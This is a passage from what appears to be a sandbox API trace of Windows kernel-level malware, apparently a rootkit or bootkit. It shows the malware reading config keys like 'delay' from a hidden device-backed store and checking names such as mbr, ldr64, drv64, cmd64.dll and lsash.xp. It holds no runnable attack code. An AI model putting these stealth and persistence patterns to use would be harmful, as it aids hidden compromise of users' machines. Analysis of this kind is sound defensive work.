(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.923] KeLeaveCriticalRegion () [0128.923] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.923] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.923] KeEnterCriticalRegion () [0128.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.923] ExFreePoolWithTag (P=0xfffffa8003c011d0, Tag=0x0) [0128.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.923] KeLeaveCriticalRegion () [0128.923] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.923] ReleaseMutex (hMutex=0xf0) returned 1 [0128.923] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.923] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.923] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.923] KeEnterCriticalRegion () [0128.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.923] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.923] IdePortDispatch () returned 0x103 [0128.923] KeWaitForMutexObject () returned 0x0 [0128.923] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.923] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.923] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.923] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.923] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.923] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00260 [0128.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.923] KeLeaveCriticalRegion () [0128.923] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.924] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.924] KeEnterCriticalRegion () [0128.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.924] KeLeaveCriticalRegion () [0128.924] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.924] KeEnterCriticalRegion () [0128.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.924] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.924] IdePortDispatch () returned 0x103 [0128.924] KeWaitForMutexObject () returned 0x0 [0128.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.924] KeLeaveCriticalRegion () [0128.924] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.924] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.924] KeEnterCriticalRegion () [0128.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.924] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6a000 [0128.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.924] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.924] IdePortDispatch () returned 0x103 [0128.927] KeWaitForMutexObject () returned 0x0 [0128.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.927] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.927] IdePortDispatch () returned 0x103 [0128.927] KeWaitForMutexObject () returned 0x0 [0128.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.927] KeLeaveCriticalRegion () [0128.927] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.928] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.928] KeEnterCriticalRegion () [0128.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.928] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.928] KeLeaveCriticalRegion () [0128.928] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.928] KeEnterCriticalRegion () [0128.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.928] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.928] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.928] KeLeaveCriticalRegion () [0128.928] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.928] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.928] KeEnterCriticalRegion () [0128.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.928] ExFreePoolWithTag (P=0xfffffa8003c00260, Tag=0x0) [0128.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.928] KeLeaveCriticalRegion () [0128.928] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.928] ReleaseMutex (hMutex=0xf0) returned 1 [0128.928] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.928] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.928] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.928] KeEnterCriticalRegion () [0128.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.928] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.928] IdePortDispatch () returned 0x103 [0128.929] KeWaitForMutexObject () returned 0x0 [0128.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.929] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.929] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.929] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.929] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.929] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0128.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.929] KeLeaveCriticalRegion () [0128.929] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.929] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.929] KeEnterCriticalRegion () [0128.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.929] KeLeaveCriticalRegion () [0128.929] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.929] KeEnterCriticalRegion () [0128.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.929] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.929] IdePortDispatch () returned 0x103 [0128.930] KeWaitForMutexObject () returned 0x0 [0128.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.930] KeLeaveCriticalRegion () [0128.930] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.930] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.930] KeEnterCriticalRegion () [0128.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.930] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6b000 [0128.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.930] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.930] IdePortDispatch () returned 0x103 [0128.930] KeWaitForMutexObject () returned 0x0 [0128.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.930] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.930] IdePortDispatch () returned 0x103 [0128.930] KeWaitForMutexObject () returned 0x0 [0128.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.931] KeLeaveCriticalRegion () [0128.931] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.931] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.931] KeEnterCriticalRegion () [0128.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.931] KeLeaveCriticalRegion () [0128.931] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.931] KeEnterCriticalRegion () [0128.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.931] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.931] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.931] KeLeaveCriticalRegion () [0128.931] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.931] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.931] KeEnterCriticalRegion () [0128.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.931] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0128.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.931] KeLeaveCriticalRegion () [0128.931] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.932] ReleaseMutex (hMutex=0xf0) returned 1 [0128.932] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.932] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.932] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.932] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.932] KeEnterCriticalRegion () [0128.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.932] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.932] IdePortDispatch () returned 0x103 [0128.932] KeWaitForMutexObject () returned 0x0 [0128.932] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.932] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.932] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.932] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.932] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.932] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.932] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.932] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.932] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.932] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.932] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.933] KeLeaveCriticalRegion () [0128.933] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.933] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.933] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.933] KeEnterCriticalRegion () [0128.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.933] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.933] IdePortDispatch () returned 0x103 [0128.933] KeWaitForMutexObject () returned 0x0 [0128.933] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.933] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.933] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.933] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.933] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.933] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.933] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.933] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.933] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.933] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.933] KeLeaveCriticalRegion () [0128.933] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.933] ReleaseMutex (hMutex=0x100) returned 1 [0128.933] Sleep (dwMilliseconds=0x2bf20) [0128.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x700bdc30, dwHighDateTime=0x1d24fa4)) [0128.941] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.941] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.941] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.941] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.941] KeEnterCriticalRegion () [0128.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.941] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.941] IdePortDispatch () returned 0x103 [0128.941] KeWaitForMutexObject () returned 0x0 [0128.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.941] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.941] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.941] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.941] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.941] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0128.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.941] KeLeaveCriticalRegion () [0128.941] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.941] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.941] KeEnterCriticalRegion () [0128.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.941] KeLeaveCriticalRegion () [0128.941] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.942] KeEnterCriticalRegion () [0128.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.942] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.942] IdePortDispatch () returned 0x103 [0128.942] KeWaitForMutexObject () returned 0x0 [0128.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.942] KeLeaveCriticalRegion () [0128.942] 